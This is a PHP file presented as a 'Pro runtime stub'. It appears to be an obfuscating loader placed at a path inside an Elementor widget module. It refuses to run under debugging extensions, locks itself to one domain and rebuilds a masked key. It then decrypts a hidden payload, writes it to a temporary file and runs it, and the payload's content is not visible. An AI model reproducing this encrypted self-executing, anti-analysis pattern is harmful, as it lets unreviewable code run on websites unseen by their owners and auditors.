<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["ZAIcjgDGnbg=","p\/X1mQEK7wo=","mIgYT7YMGpQ=","kXknQMWxCFw="]', true);
$__MASKS = json_decode('["OREfW5xoCx0=","Mz+xpHreuCE=","irmIJOUzJVQ=","RAOWS6TrIXw="]', true);
$__ROT   = json_decode('[2,3,6,7]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('j0oSXMTfGz0Ra0g7oHG+ImLOrSh1eG16');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9tb2R1bGVzL2F0b21pYy13aWRnZXRzL3Byb3AtdHlwZXMvaW1hZ2Utc3JjLXByb3AtdHlwZS5waHAiLCJ0cyI6MTc1NjY5MzcxNCwiZXhwaXJlcyI6MCwiZG9tYWlucyI6WyJpdHNob21hci5pciJdLCJvbmxpbmUiOjAsIndwIjoxLCJhbGdvIjoieGNoYWNoYTIwcG9seTEzMDVfaWV0ZiJ9');
$__CT    = base64_decode('cvqHqgWBYAVdcxv7FohAbGyxKaGv4yXLpDKoR6m1VSPyB0dIfnv2E0Nx+eU3672p68dv6Vjnr8BiJSglXKmERjqwY0Lamr7vufvLJ2KAga16LA2VwZj1ARq8QjZEjAV1CzK5e5sizgVTE8oc+AS8Z4AukGRo2zv8Vae64UaYQhoQUyNcq5tdwRzSR38zAPRK5xXWI+EQWZG1wwbUS+23Thri2PXeP2U0sNAX9lAGymB/+HcgHvWSSUKLuDvgRH582bYZSidfjIYMGMjlwdWUgU+5JoiMFe+WM7dtxC1vhh3EEUhtf3ABPVu/KeVZDPvOAObPBmEJa7aj0vTutY58QPjKhKmEBVDhuSt/MxYEtpVp+NBzl6ZsTeTbcweIvUypANzaIk27XPMgag1WoOJhgAHJ1UPzKW9yggZnQA2n1vxDoZmHiw8zfXlQ+sEkeIAYg2QzcmDQT/Wgfd7slGH9WvcSN9WpxgtgtxIWhI4vZdeHFlvs66E7DHez2fs8vYvPvSZ4BnWnPFzKxBM2JgGEqD86dLpO6MaHLufYp6reU2s5bpL9S7OtF7HP5q8c6q1KC6RGIaPVNb+AWyP6Gx5DP4s09/lVhMeA9jXJGGoK6UlrFOEt3eX0iHPnxwPYivQW4RvmN8QwDxFkm6GSqEpDGSZEESIDGl1T12w8myqNzYhLKgDehnq0kAVecNBnFtMKD5Edtd7uO50ZwsOeZb7sOuyau/gGC2+fC1ni1I1BgQAdtsaCdHvmKlvpPUbgDSkLDyfdRn8/ZNdjoaPpp+YGxyWipNp2GMhkn9MBTwT6d/FWkzpy6922/FEWSPlN+RMxaqGRo3oMvRk69swaC5V+LWlQXvHfjLmOvs2C0KRz2+3cjrdyeO5uBJqWdlyEmuDhnqvzXVS8RIA42viaMIwrhUg=');

// Signature verification
$__PK  = base64_decode('JoFdNCkuEl4rvbjCQ60Dr2mHvSFfAI/3ptc0qwyKH7E=');
$__SIG = base64_decode('EDOt+zLRWhOnSQ6Lg0bm9zJ8GYEey4b7nVFqZRB4Xk0eC7OgZzIpLU1Qwdd+6yHQX4lBL1ine6YRHGdB+RlmDQ==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
